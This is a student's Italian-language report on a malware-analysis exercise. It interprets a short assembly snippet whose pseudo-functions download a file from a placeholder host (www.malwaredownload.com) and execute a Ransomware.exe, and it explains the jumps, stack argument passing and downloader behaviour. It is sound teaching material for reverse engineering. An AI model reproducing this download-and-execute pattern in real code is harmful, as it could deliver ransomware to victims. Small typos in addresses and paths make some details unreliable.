REPORT 20/01/2023 **LORENZO SCORBAIOLI**

TASK:

Con riferimento al seguente codice:

TABELLA 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

TABELLA 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

TABELLA 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Rispondere ai seguenti quesiti:

1. Spiegare, motivando, quale salto condizionale effettua il malware
2. Disegnare un diagramma di flusso identificando i salti condizionali. Indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati
3. Quali sono le diverse funzionalità implementate all'interno del malware?
4. Con riferimento alle istruzioni <<call>> presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione
5. Ulteriori dettagli

1) Spiegare, motivando, quale salto condizionale effettua il malware

Come possiamo vedere dall'immagine qui sotto, questo estratto di codice contiene 2 salti condizionati, il primo nel riquadro rosso, il secondo nel riquadro verde:

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Primo salto condizionale

Secondo salto condizionale

Il primo salto condizionale nasce dall'istruzione "cmp" tra il registro EAX ed il valore 5. Viene sottratto 5 al valore contenuto nel registro EAX, senza andare a modificare gli operandi e viene cambiata la Zero Flag. In questo caso, visto che il valore contenuto inizialmente nel registro EAX è 5 e ad esso viene sottratto 5, avremo che la Zero Flag assume valore 1. Visto che la Zero Flag assume valore 1 e il codice dice di effettuare il salto solo nel caso in cui il valore della Zero Flag non sia zero, possiamo dire che il salto verso l'indirizzo di memoria 0040BBA0 non viene effettuato e il codice immediatamente successivo viene eseguito.

Viene effettuata quindi l'operazione di incremento del valore nel registro EBX. A seguito di questa operazione viene effettuato un'altra comparazione tra il valore contenuto nel registro EBX e 11. Successivamente a questa comparazione la Zero Flag assume nuovamente il valore di 1 e viene effettuato un salto verso la locazione di memoria 0040FFA0, corrispondente al codice contenuto nella tabella 3, in quanto l'istruzione è quella di effettuare il salto quando il risultato della comparazione è 0.

2) Disegnare un diagramma di flusso identificando i salti condizionali. Indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

3) Quali sono le diverse funzionalità implementate all'interno del malware?

All'interno del nostro estratto di codice abbiamo 2 chiamate di funzione. La prima è quella contenuta nella tabella 2, evidenziata nel riquadro giallo:

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Chiamata di funzione

Con l'istruzione call viene richiamata la funzione DownloadToFile(). Da quello che possiamo vedere questa funzione prende un solo parametro, inserito nel registro EAX. Dalla precedente istruzione mov, alla locazione di memoria 0040BBA0, tramite l'aiuto del commento, possiamo vedere che è un URL. Possiamo quindi ipotizzare con discreta certezza che lo scopo di questa funzione è quella di scaricare un file che è hostato sul sito con URL www.malwaredownload.com.

La seconda funzione chiamata è quella che possiamo vedere nell'immagine qui sotto all'interno della cornice arancione:

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Chiamata di funzione

In questa seconda chiamata di funzione viene inserito sulla cima dello stack il registro EDX. Possiamo vedere dalla precedente istruzione mov, all'indirizzo di memoria 0040FFA0, che al suo interno viene inserito il path del malware. Successivamente questo registro viene dato come parametro alla funzione WinExec(), che è una funzione che si occupa di eseguire l'applicazione specificata proprio dal path contenuto nel registro EDX.

4) Con riferimento alle istruzioni <<call>> presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione

Partendo dal codice contenuto nella Tabella 2 abbiamo le seguenti righe di codice:

Locazione	Istruzione	Operandi	Note
0040BBA0	Mov	EAX, EDI	EDI=www.malwaredownload.com
0040BBA4	Push	EAX	;URL
0040BBA8	Call	DownloadToFile()	;pseudofunzione

Nella riga di codice alla locazione di memoria 0040BBA0 abbiamo l'istruzione mov. Questa istruzione va a copiare l'argomento EDI nel registro EAX. Come possiamo vedere dalle note nell'ultima colonna di destra, il contenuto di EDI è una URL. Questa URL, spostata nel registro EAX, diventa un parametro della funzione DownloadToFile(), funzione che viene richiamata dall'istruzione call all'indirizzo di memoria 0040BBA8. Possiamo dire ciò perché questo parametro viene posto sulla cima dello stack tramite l'istruzione push EAX contenuta all'indirizzo di memoria 0040BBA4.

Andiamo ora ad analizzare la Tabella 3:

Locazione	Istruzione	Operandi	Note
0040FFA0	Mov	EDX, EDI	EDI: C:\ProgramandSettings\LocalUser\Desktop\ Ransomware.exe
0040FFA4	Push	EDX	; .exe da eseguire
0040FFA8	Call	WinExec()	;pseudofunzione

In maniera similare a quanto visto nella tabella 2, abbiamo per prima cosa l'istruzione mov che va a copiare il valore dell'argomento EDI nel registro EDX. Come possiamo vedere dall note nella colonna più a destra, l'argomento EDI contiene il percorso del malware. Questo, dopo essere stato inserito nel registro EDX come abbiamo appena detto, viene posizionato sulla cima dello stack e diventa il parametro della funzione WinExec(), richiamata tramite l'istruzione call all'indirizzo di memoria 0040FFA8.

5) Ulteriori dettagli

Dall'analisi del codice ho ipotizzato che questo estratto faccia parte del codice di un malware di tipo downloader. Questa tipologia di malware ha come principale funzionalità quella di scaricare successivamente installare sul computer-vittima di nuove versioni di programmi maligni a totale insaputa dell'utente. Nel nostro caso specifico il nuovo malware che viene scaricato dal downloader dovrebbe essere un ransomware. Dalla porzione di codice che abbiamo possiamo ipotizzare che il downloader vada a controllare se l'eseguibile del ransomware sia stato già scaricato o meno. Nel caso non sia stato già scaricato procede ad eseguire il download. Nel caso opposto invece va direttamente ad avviare il ransomware.
Questa mia ipotesi è supportata dalle note contenute nella tabella 3, in cui viene avviata una funzione che si occupa di andare ad installare un'applicazione che si chiama Ransomware.exe. I ransomware sono una categoria di programmi maligni dispiegati dai cybercriminali per bloccare l'utilizzo dei dati da parte dell'utente o il funzionamento del computer-vittima. Il payload nocivo viene recapitato senza il consenso dell'utente; i malfattori si avvalgono di programmi del genere per chiedere poi un riscatto in denaro.

PSEUDOCODICE

```
int x = 5;
int y = 10;

if (x-5 != 0)
   {
   char indirizzourl = www.malwaredownload.com;
   DownloadToFile (indirizzourl);
   }

else
   {
   y++;
   if (y-11 = 0)
      {
      char percorso = C:\Documents and Settings\Local User\Desktop\Ransomware.exe;
      WinExec (percorso);
      }
   }
```

TABELLA DI SPIEGAZIONE DELLE RIGHE DI CODICE A BASSO LIVELLO

Locazione	Istruzione	Operandi	Note	Spiegazione a basso livello
04001040	Mov	EAX, 5		Viene inserito il valore 5 all'interno del registro EAX
00401044	Mov	EBX, 10		Viene inserito il valore 10 all'interno del registro EBX
00401048	Cmp	EAX, 5		Viene effettuata una comparazione tra il valore contenuto nel registro EAX e 5
0040105B	Jnz	Loc 0040BBA0	;tabella 2	Nel caso il risultato dell'istruzione cmp della riga sopra sia diverso da 0 viene effettuato un salto alla locazione di memoria 0040BBA0
0040105F	Inc	EBX		Questa istruzione incrementa EBX, lasciando il risultato nel medesimo registro al posto di quello di partenza
00401064	Cmp	EBX, 11		Viene effettuata una comparazione tra il valore contenuto nel registro EBX e 11
00401068	Jz	Loc 0040FFA0	;tabella 3	Nel caso il risultato dell'istruzione cmp della riga sopra sia 0 viene effettuato un salto alla locazione di memoria 0040FFA0
0040BBA0	Mov	EAX, EDI	EDI=www.malware downlnoad.com	Viene inserito il valore www.malwaredownlnoad.com all'interno del registro EAX
0040BBA4	Push	EAX	;URL	Viene posto il registro EAX in cima allo stack
0040BBA8	Call	DownloadT oFile()	;pseudofunzione	Viene chiamata la funzione DownloadToFile()
0040FFA0	Mov	EDX, EDI	C:\ ProgramandSettings\ LocalUser\Desktop\ Ransomware.exe	Viene inserito il valore C:\ProgramandSettings\ LocalUser\Desktop\Ransomware.exe all'interno del registro EDX
0040FFA4	Push	EDX	; .exe da eseguire	Viene posto il registro EDX in cima allo stack
0040FFA8	Call	WinExec()	;pseudofunzione	Viene chiamata la funzione WinExec()